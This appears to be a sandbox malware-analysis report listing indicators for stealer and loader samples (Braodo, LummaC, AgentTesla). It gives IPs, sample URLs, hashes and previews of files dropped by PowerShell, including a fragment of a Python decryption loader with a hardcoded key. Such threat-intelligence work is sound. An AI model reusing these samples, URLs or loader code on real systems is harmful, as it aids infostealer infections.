CLOUDFLARENETUS	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse	104.21.94.209
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	980001672 PPR for 30887217.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://drive.usercontent.google.com/u/0/uc?id=1-lzlsIQVVFZj1nVUNs7vmgIfcVZr8ZT3&export=download	Get hash	malicious	Unknown	Browse	104.22.20.144
	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse	104.18.21.66
	ALFq7XP17d.lnk	Get hash	malicious	Unknown	Browse	172.67.201.111
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse	172.67.219.101
	IErMYVWrv9.exe	Get hash	malicious	Python Stealer, Luna Grabber, Luna Logger	Browse	162.159.135.232
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
DROPBOXUS	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse	162.125.65.18
	https://docsend.com/view/nw5cttresp36nsvc	Get hash	malicious	Unknown	Browse	162.125.69.18
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	162.125.40.3
	https://t.ly/HThl-Link1-0312	Get hash	malicious	Unknown	Browse	162.125.69.15
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	kjsdhfjk30De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjsdf30de28.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	kjsdhfgs.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	980001672 PPR for 30887217.scr.exe	Get hash	malicious	AgentTesla	Browse	162.125.69.18 172.65.251.78
	lg1wwLsmCX.exe	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	y1rS62yprs.exe	Get hash	malicious	Babadeda	Browse	162.125.69.18 172.65.251.78
	IFhqcKaIol.lnk	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse	162.125.69.18 172.65.251.78
	7p5nITtglJ.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	kjshdkfgjsdg.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	https://t.ly/alBFX	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\DLLs\libcrypto-3.dll	AS6xKJzYJT.exe	Get hash	malicious	Python Stealer, XenoRAT	Browse
	kjsdhf243kj2.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hkjsdhf01.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	zed.exe	Get hash	malicious	Unknown	Browse
	back.ps1	Get hash	malicious	Unknown	Browse
	zed.exe	Get hash	malicious	Unknown	Browse
	ChromeComboPack.exe	Get hash	malicious	Python Stealer	Browse
	AdpterSettings.exe	Get hash	malicious	Unknown	Browse
	9arEd0o4IZ.exe	Get hash	malicious	Unknown	Browse
	IwSa5fjMWm.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Document.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	68971427
Entropy (8bit):	7.99411240035634
Encrypted:	true
SSDEEP:	1572864:T2ycMa6WWQ/PI5c9v4bTNyrOOBNzJTCW15s3a:6ea6Ih6vUlBNzJTCi5Ia
MD5:	56783B5B7CEC7A5856E34F00900A4F0E
SHA1:	5DB2DD76B28788BFFE64A97F095FD9691267F8ED
SHA-256:	D94CC945B7E53AAB6D53355B8AF94864790D530619BFB47B4F8F89358F184BD1
SHA-512:	5433743CE41A79E3D8FA9E9EC6127FF34454D2C1690B0F59854C89DCA8D25B8693E2085B40B237C208C6277B3475C41D21B5C193DA2E8A07B8B0AE5A53545AB9
Malicious:	true
Preview:	PK........\.FX....G'..........LICENSE.txt.\]s..}G...J/....L2.Im...m.-y))..KI...Eh.........Yv..W.U.D..F..}N.t/.W.x2.?....\.\|<..\|.......<v.+V..D.y..B,..x..\$y.....O5...e)...'.....'...r.dv....B....EV.p.Q.S.s-._..F....v...[.d..g(.=O.l.=.j$\...Z.\-.+.tW&w..4..z...[}r.Sf..a....\fs.IR..p-.y...........Bh.N...+.S..B....+TF.h.(...mWx..JP`%5........8...7OP._..cC....B.A.6Q&..W.A...0>d.,.A.t...>.J}.10VLW\|.Q.w2.....R..R.h.L.{.Co.iLj.zyL.e.Mr..v........X.ot.+...a..a2y!.5_.{.P.;....9..P8.5.6....d...L..8..j&r.......M\|......,`H}.N.......31'..R...Mw0.nS2.[...Uf.3EG...2....P.@.w.7z...V..R,..x...M...NpK...H......1.K...!.........e..g..%..6.!...x8..5+b..W..w\|-..3..hJ{ij.p.9...c..\|..Q...L.u..q.b.n0.K...c0.....\|..].......%.....U...{.?i.s.R/o.O.c60.Y>..E....Tma..I....r._T....@9.bs...@...._......6...vnZ.h...U.....{..9....0.......CG....\|.0X]......k...7%`;l...C.8..].3'.^....^.L..g..^.ZV.mc.Wm...x..=................(.t_...t....'.Y..y..A.6~.......(8'3...{.dj{

C:\Users\Public\Document\DLLs\Error_cache.db

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	127896
Entropy (8bit):	5.999051556190364
Encrypted:	false
SSDEEP:	3072:bbRmsw1tc/0T8beuHCqhH8/cvjPwrhtqd3AGqARFx:vR/wA/cqt/jPued3rqARf
MD5:	AEB431C17C9E5D7B2AC30020079BD1B3
SHA1:	67515FCA6130A9681DD65ACE4D3DBFEEFC405602
SHA-256:	D89BD0F8BA9885968287914D67C935B24AC4446808EFB3B14F3AED96AC5FFB05
SHA-512:	6F0E86D0F0ECF093FF6F19BC86A9E73D353F4B3596CFE8EBFC5A73222DB89AE40F9A4F6BBFEB8FC83B5DEEE814A5B247D3351C28708A1A148CE30C324883117E
Malicious:	false
Preview:	F4C7v1QsoB0aUj4r02cnV3Sen4s2hbsZon31PagggRLNJmqxd/ayR33lazEd5FGz1JwUm8s6KXQCAiT5VdpKvNveSJD/EdPvcwkGINW8S43bPeKonO+L93VXhHsnxyuo8N2wvEOEuPxinEuZKSj2wCFNVOMgGKoxTWpxEieMVSLPNxAyIm9HjuAjFou2OIIZAuG9D7aL2jkpNntQuN4YwE+fYLKysnpxlve4ehZC5QEk/r5BVFQDJSy4obbRBVihZx3QAUvwMPtdlwEOqgxcQoP0byu8CeDCClnDpmi0S6aZTaupsnr7ew524lakq1+Cr7cyk8w7LbiRlBmNXCFeUuChlH2ZORY3vSOJcxcb0y1tZilpeLU/PJLWmBSgnccp1+zL6ydHjMHrPuee2zW+YZ5g2z9+TzYSuas28PpqSobi9Gb1GLIjfZ3ZBmSoiziYjIBJK0PwHAJovX2JtYZRDz2Pao6uOGVCrsIgv223xCNHvZWiL6bfrJMyVwBRqHOW/2ZaqFbuqDzx9kCiOVAQatON2ISjOeSZQ0fy5rqm+Dm013ZH9Y7rsPq8GtbHjWH/KGUqYJdE92k5r+myhScTikOW696ku14OtZ7gQpPmm6pnWAw6ZdUzzaCMDXc5h3lO+dPg5GHNQO0k+PN0GxA830FgACErMhpk9A/XQtRReZW2oHk13Oh2QNO49umn5+jS7sWKnepjAwDwG/6l0GgPiZH6by5UY2qQT+svi0NqUgX+4Y5beRXZQpRkvIVBC/rH1chAxLlj9OwIlrv0Zp0LPY4tus5H/XDNJgynfZI4MjmkMx1FWmqKe4p99e7J35dTeIwR6yT3b6y/0BgMj8pK/Dm1ZsaNlZDsipAvBgXwzw2Lm943+bNtWK+EQ9+uW/cteSSd/VwzABYKygneInSmrQiWCNOGxeXqQsbKp3a9bBMWJwHOO5mKfWxM2u2gKaOviPtsfY4CjxZTMRyThsExaRTSaOhV/ShVAsQ/tMUo

C:\Users\Public\Document\DLLs\ld_312.pd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Python script, ASCII text executable, with very long lines (1219), with CRLF line terminators
Category:	dropped
Size (bytes):	2081
Entropy (8bit):	2.981984703074854
Encrypted:	false
SSDEEP:	24:1lGrIFjt1XCBccuGA5T/Bze1I2H90Qzo3n:dFjrX/VwTGQz4
MD5:	5EA7C5EFA4A830DA95A3CC2FC83E8349
SHA1:	06DF422502297D1441A97F5656F481B720296ADB
SHA-256:	5B4576109A0C607E14B607FEB9CA5B510396D8B545DF6F52F4570309D79C9859
SHA-512:	A4B37DDACFCBE285BCE17F8C676F8E61C684963D0AA15295F81CE4A1890B8723E763817D1CE58C9506A757AE029022C3FE2EDA21C62AF3134ABAF5F8D084C10E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Braodo_1, Description: Yara detected Braodo, Source: C:\Users\Public\Document\DLLs\ld_312.pd, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	from cryptography.hazmat.backends import default_backend..from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes..from cryptography.hazmat.primitives import padding..from base64 import b64decode..import os..count = 0;..key = b'aPIYKiq93v3ES7qf';

C:\Users\Public\Document\DLLs\libcrypto-3.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5191960
Entropy (8bit):	5.962142634441191
Encrypted:	false
SSDEEP:	98304:n3+pefu6fSar+SJ8aqfPomg1CPwDvt3uFlDCE:3G+u6fb+SJ8aqfwmg1CPwDvt3uFlDCE
MD5:	E547CF6D296A88F5B1C352C116DF7C0C
SHA1:	CAFA14E0367F7C13AD140FD556F10F320A039783
SHA-256:	05FE080EAB7FC535C51E10C1BD76A2F3E6217F9C91A25034774588881C3F99DE
SHA-512:	9F42EDF04C7AF350A00FA4FDF92B8E2E6F47AB9D2D41491985B20CD0ADDE4F694253399F6A88F4BDD765C4F49792F25FB01E84EC03FD5D0BE8BB61773D77D74D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: AS6xKJzYJT.exe, Detection: malicious, Browse Filename: kjsdhf243kj2.bat, Detection: malicious, Browse Filename: hkjsdhf01.bat, Detection: malicious, Browse Filename: zed.exe, Detection: malicious, Browse Filename: back.ps1, Detection: malicious, Browse Filename: zed.exe, Detection: malicious, Browse Filename: ChromeComboPack.exe, Detection: malicious, Browse Filename: AdpterSettings.exe, Detection: malicious, Browse Filename: 9arEd0o4IZ.exe, Detection: malicious, Browse Filename: IwSa5fjMWm.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l......l...m..l...i..l...h..l...o..l..m.y.l...m...l...o..l...h.l...l..l......l...n..l.Rich.l.........PE..d......e.........." ...%..7..4......v.........................................O.......P...`.........................................P.H.0....kN.@.....N.\|.....K.d.....O../....N....P.C.8.............................C.@............`N..............................text.....7.......7................. ..`.rdata....... 7.......7.............@..@.data....n....K..<....J.............@....pdata..0.....K......4K.............@..@.idata...%...`N..&....N.............@..@.00cfg..u.....N.......N.............@..@.rsrc...\|.....N......0N.............@..@.reloc........N......8N.............@..B................................................................................................................................................................

C:\Users\Public\Document\DLLs\libffi-8.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\Document\DLLs\libssl-3.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	787224
Entropy (8bit):	5.609561366841894
Encrypted:	false
SSDEEP:	12288:ytPc2nnGoNg4kSHoxX09yO5EavUFe9Xb12:y9jnnpTHoxXUsFe9XbM
MD5:	19A2ABA25456181D5FB572D88AC0E73E
SHA1:	656CA8CDFC9C3A6379536E2027E93408851483DB
SHA-256:	2E9FBCD8F7FDC13A5179533239811456554F2B3AA2FB10E1B17BE0DF81C79006
SHA-512:	DF17DC8A882363A6C5A1B78BA3CF448437D1118CCC4A6275CC7681551B13C1A4E0F94E30FFB94C3530B688B62BFF1C03E57C2C185A7DF2BF3E5737A06E114337
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%...........K........................................ ............`..........................................g...Q..............s.......@M......./......`.......8...........................`...@............p...............................text...D)......................... ..`.rdata..Hy...@...z..................@..@.data....N.......H..................@....pdata...V.......X..................@..@.idata...c...p...d...H..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..4...........................@..B........................................................................................................................................................

C:\Users\Public\Document\DLLs\py.ico

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	75809
Entropy (8bit):	5.969322217946821
Encrypted:	false
SSDEEP:	1536:+sNNRmOha6UEm3BL61Z4tXSZ6HTk1FaA87Gl6L:+2No6UtB+1eJ9Z
MD5:	B35F68A3086562C4D5453FAAD5A3474E
SHA1:	673904FF9B305A6600E47AD715289122EC0B046A
SHA-256:	150C470F9943B806B44312EFDEC85755F22F8D7D52B31F93A9AF3C43E8627381
SHA-512:	6EC80921942B3BD3C85EF24A2DE5454A34A3AD11A1BC69B601AEA7B873E318073C0B2D78C26685999F78EC64A86282C08C53AB8D77E41C661AE968EA52C08176
Malicious:	false
Preview:	...............7......@@......(....8..00...........N.. ..........m]...............f..........h....l........ .t/..Er..@@.... .(B......00.... ..%...... .... ............... .....1......... .h....#...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..{.$.}....w........X..V.....F..]..T..P.H().........P)..<....Y..%%...[B2....2."..\......tOwO..9=.>}^=.5s.....==gz......;..;.T.x..0.3.x.....,.l..f.a..0......`..0.....a&.6..3...`......L0l..f.a..0......`..0.....a&.6..3........_.ro...Y:>.T...V...0c.......3v..X8..0c...56.....f,.t:..,.l....#......k8...l....G..1.u.6..n....5.......w.{...N..ND.\'P.......j...1.!.u+n..v\|.._... ..>.....p.....}.v.y.h6...N...%`....[.l....F`.a.....og#....`..6.....f.`#.p..`..6.....fla#0...0c....q.m.9..{......3.\v.e....>}......."...p..w8E.l....`V..........H..l....e.]..~..Nm'....`V$.v..G?.Q...l...0+.6.v..0+.6.f..0+.6.z..0...].........q...O..`..L..w.v6......#....(...a..L.l....`&.6.)+~Y.........aY.{.r?..{.n.....{..F...o\QK.s..L47.p

C:\Users\Public\Document\DLLs\pyc.ico

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	dropped
Size (bytes):	78396
Entropy (8bit):	6.10453452748711
Encrypted:	false
SSDEEP:	768:WNXYu6xYBxqjlETx2UjHe20dH397tiKZoZa1ABtc8Yg2zR51ZV2vL2inK/fR1:sayx2lETxN+HTo8+bil1ZqdKX
MD5:	B1C9980131A3F20E344AA3AA2C8DEA49
SHA1:	0FE02F0ED5E56BBE7E4E98B1DCA061ED17FBF5C7
SHA-256:	FDA28A734788A3F175CB6AED4DAEB5F05F0E49F6A272CCD2051BA337F7B3B42F
SHA-512:	84CA107ACE44FA1964C6C1EA93FC767BDE88363339FC426A3D660DA53C84BADE14F1FAE99C494483BF2B5312938D84B0C1733C85E82592B8FFE8A28F76186A3A
Malicious:	false
Preview:	..............r?......@@......(...8@..00..........`V.. ...........e...............m..........h...xt........ ..1...y..@@.... .(B.....00.... ..%...... .... ............... .....L$........ .h....-...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y..W}..-.^....n.v.lK..@.../.,....`...s0g.@.0.d...8.@B&..9.'.@L....NX-..-.8v[.. ./-....zU..[..[.....w?...zU...[.-......=..#.h4..1./..h....4..F+......@..`...h:...4..F+......@..`...h:...4..F+......@..`...h:...4..F+.....O......x.9..:...t..lB{...B+..E+.M.....j%0Ah..i;,........m.....@.hO`.h..i{.'0v...=.ei%0F.. .C..M.+..<....w..d..~g&.j.*.y.uQ.T`Y..:....w.:.......y.t.BH.w.}.....v..#X.x1.....$0..F....8..<J.R.z8..Z.h....&...4m..'P.V3]..@6...........J ...4m.V...V...D+..A+.M.r.....j% F+.M[s.....Z...}.{Z.....=L.dI..9sF{....4......V.2.'....f.=....@3.h...t%...f.q...L^....Z.hf%.......3g:V.h....h%..V..Y.V.j....z.......#.J@.V...A+.$Z.h:...A,\.0.......t.........@3&fz..4.p..c....w.......\c.].g.....o...n....m.6.

C:\Users\Public\Document\DLLs\pyd.ico

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
Category:	modified
Size (bytes):	83351
Entropy (8bit):	6.269678824341842
Encrypted:	false
SSDEEP:	1536:fVLhV30CuzZO5Wf/DGsea4SNum23KXVDTEhr:f1hV3Uz447lea4muXG1TEhr
MD5:	1A8230030D821CF8EA57CE03AAEAD737
SHA1:	12656788B1FBE4D2375ECC2989A4D9DA69CAA0D6
SHA-256:	C4EC1845A5724B2A83500F3BD940355E2FE26EFC6B4FE6C208365359A6130DA1
SHA-512:	AF6356DC67249E724AE30F65DDEFB4E53C6F2703DA32FD5F135598BBD6189BEE70950242F52985478DE99979D1271EEC9F4E2981A29A9BC02C673E9B668FD0C1
Malicious:	false
Preview:	...............H......@@......(....I..00..........._.. ..........hn...............w..........h....}........ ..;..@...@@.... .(B../...00.... ..%..W... .... ......&........ ......7........ .h.../A...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y...u.....u..l3..+Ar...)B..-.c...Y....X.$[....r..c.;>I..>..(...X.m%..G... ..H.....F,..f....~.T..W.^U...Yz.}.S....5.\|....S^z.%H$...7 .H..i.$.e.4...2F...d.#..D....@"Y.H. .,c...H.1..H$..i.$.e.4...2F...d.#..D....@"Y.H. .,c...........B.d~H....G>.,.},%d. i......H. i9../.R..&!....0.C..&!...%.F.9H. iY...=..HZ.i.f.4...G...i.:.8....-..9.m..y>.G.\...x...~......O."......0".#F@..$c...B>.l&M=...........qm?>.K..?...azz:.Zi..#...E...../..t:.{...$C..IK0.n...._FGGG....#...e.\7......@...@.Rl...../J#.$.....[6..'_.9.f ...%..@s..@..H`.H. ii.l.......5.._..W.....@.......D....F.B...@....@.d.F 9..H.....$.....@...u3>.S...vzz..........@.$yx..~.g...w..Y.F@...E..x...,i...F...G..p...,...=.....f......@.lx..'..~H...b....,+.~.I\|.#?.t

C:\Users\Public\Document\DLLs\pyexpat.pyd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	199448
Entropy (8bit):	6.385263095268062
Encrypted:	false
SSDEEP:	3072:gP9/HQAYp/8IdzL37lqrEJesY7p7Ndrjt8HWcFwUT6ZIALhNn6:opFYp/vdzL3pqrEJ2xDrJ8DdT6A
MD5:	F179C9BDD86A2A218A5BF9F0F1CF6CD9
SHA1:	4544FB23D56CC76338E7F71F12F58C5FE89D0D76
SHA-256:	C42874E2CF034FB5034F0BE35F7592B8A96E8903218DA42E6650C504A85B37CC
SHA-512:	3464ECE5C6A0E95EF6136897B70A96C69E552D28BFEDD266F13EEC840E36EC2286A1FB8973B212317DE6FE3E93D7D7CC782EB6FC3D6A2A8F006B34F6443498DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W,.6B..6B..6B..N..6B..IC..6B..IG..6B..IF..6B..IA..6B...C..6B..NC..6B..6C..6B...O..6B...B..6B......6B...@..6B.Rich.6B.........PE..d......e.........." ...%.............................................................)....`......................................... ...P...p............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata..D.... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\Public\Document\DLLs\python_lib.cat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	125220
Entropy (8bit):	6.928188766150512
Encrypted:	false
SSDEEP:	1536:3I9/wg94rtlCYriRAKn4HHca8igh4ZjKVVTk87SyxxN:3I5elCYxi4HHrghejaTk8/
MD5:	53D873AB249ABDA512A52E8B87BE0F76
SHA1:	105268A6AFDA88820DC729E7021B47C21368AD87
SHA-256:	74898077AE18353FACD2F730911D8CE04B8D2271B0FADC753F396A2282592148
SHA-512:	5128F867F596F47377E8FF5922E92FAEF7B200B31B17D15C24838BAF3639D469EB7465F0F76746F2E68125B073D0BBD1D949BFB6A1F27A7908FFFC59A1805E77
Malicious:	false
Preview:	0.......H...........0.......1.0...`.H.e......0...q..+.....7......a0...\0...+.....7.....i. .I..I..=/......240206222148Z0...+.....7.....0....0... .....w.=...7o.............L.w1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....w.=...7o.............L.w0...0..{b..M..;@....C^.1.0...+.....7...1...0...1...s..p1$...>0..1.0...+.....7...1...0....T..\|../..IT....Q.1.0...+.....7...1...0.....'......s..%R=5..1.0...+.....7...1...0.....2m..3.......N..D1.0...+.....7...1...0... .......V.C.........>..wf...O...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .......V.C.........>..wf...O...0.....KG{6.8.o.<v.....1.0...+.....7...1...0... .k.r.....r...K=.w.&.....mY+..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .k.r.....r...K=.w.&.....mY+..0... .l..x....h......=....'&.ZZGe.7.31i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .l..x....h......=....'&.ZZGe.7.30....H..J.%....Q..U

C:\Users\Public\Document\DLLs\select.pyd

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	6.582548725691534
Encrypted:	false
SSDEEP:	384:b9yLTFInPLnIdHqp3DT90IZIAQGyHQIYiSy1pCQ273bAM+o/8E9VF0Nypyn4:6inzUHqN1rZIAQGo5YiSyvUrAMxkEjh
MD5:	8A273F518973801F3C63D92AD726EC03
SHA1:	069FC26B9BD0F6EA3F9B3821AD7C812FD94B021F
SHA-256:	AF358285A7450DE6E2E5E7FF074F964D6A257FB41D9EB750146E03C7DDA503CA
SHA-512:	7FEDAE0573ECB3946EDE7D0B809A98ACAD3D4C95D6C531A40E51A31BDB035BADC9F416D8AAA26463784FF2C5E7A0CC2C793D62B5FDB2B8E9FAD357F93D3A65F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V..t.s.'.s.'.s.'..7'.s.'...&.s.'...&.s.'...&.s.'...&.s.'(.&.s.'.s.'Ps.'Y..&.s.'(.&.s.'(.&.s.'(.['.s.'(.&.s.'Rich.s.'........PE..d......e.........." ...%.....2.......................................................y....`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................

C:\Users\Public\Document\DLLs\sqlite3.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1500440
Entropy (8bit):	6.588676275246953
Encrypted:	false
SSDEEP:	24576:iTqtyGkxOc+wv05tP5kf82Hr/74YPF5o/P/gnAracr7/24UcypY7w0vpZUFv++b:hk0jwv4tP5kf8ar/74EF2/An4acrVUcc
MD5:	C1161C1CEC57C5FFF89D10B62A8E2C3A
SHA1:	C4F5DEA84A295EC3FF10307A0EA3BA8D150BE235
SHA-256:	D1FD3040ACDDF6551540C2BE6FF2E3738F7BD4DFD73F0E90A9400FF784DD15E6
SHA-512:	D545A6DC30F1D343EDF193972833C4C69498DC4EA67278C996426E092834CB6D814CE98E1636C485F9B1C47AD5C68D6F432E304CD93CEED0E1E14FEAF39B104A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......SJ...+...+...+...S...+...T...+...T...+...T...+...T...+..\S...+...+...+..-....+..-....+..-.n..+..-....+..Rich.+..................PE..d......e.........." ...%............................................................M7....`..........................................d...".............................../..........P...T...............................@...............@............................text...x........................... ..`.rdata..f...........................@..@.data....G.......>..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\Public\Document\LICENSE.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	36874
Entropy (8bit):	5.049420652052892
Encrypted:	false
SSDEEP:	768:ofTr69CItDmXPkVDXz/kSsixKioLU68RfKoMlPLZ1FDYzGBAcTQgug3qfF:oX69CItQPkVDzDsioLU6EfKoILZ1FYwE
MD5:	B52C821C7750804295E23B9E94525085
SHA1:	EE762AE623C98F53C89A0D8F4143C6C61AB807D8
SHA-256:	E502C6B880FF58D614901495A9009C136539CD0B1E2A2ABB8FC00B934C203419
SHA-512:	B5D680CE02ED9677ED905FA3257925BAE1E80ECE565D161B50A94A479B409D10B7F1B8340675B257900C856D8C3E37ABACBF818287B56C5A72B97B1E5BBEAED5
Malicious:	false
Preview:	A. HISTORY OF THE SOFTWARE..==========================....Python was created in the early 1990s by Guido van Rossum at Stichting..Mathematisch Centrum (CWI, see https://www.cwi.nl) in the Netherlands..as a successor of a language called ABC. Guido remains Python's..principal author, although it includes many contributions from others.....In 1995, Guido continued his work on Python at the Corporation for..National Research Initiatives (CNRI, see https://www.cnri.reston.va.us)..in Reston, Virginia where he released several versions of the..software.....In May 2000, Guido and the Python core development team moved to..BeOpen.com to form the BeOpen PythonLabs team. In October of the same..year, the PythonLabs team moved to Digital Creations, which became..Zope Corporation. In 2001, the Python Software Foundation (PSF, see..https://www.python.org/psf/) was formed, a non-profit organization..created specifically to own Python-related Intellectual Property...Zope Corporation was a sponsori

C:\Users\Public\Document\NEWS.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1711215
Entropy (8bit):	5.068876558825427
Encrypted:	false
SSDEEP:	24576:5F4Hmo/lVM0uFBvq1o/1lwsWRQACqw/guOogEtYQfB:5F4Go/lVM0uFBvq1w1lwNRNY/IEhB
MD5:	FE858E977ED5F2512F31C35CC3C7926C
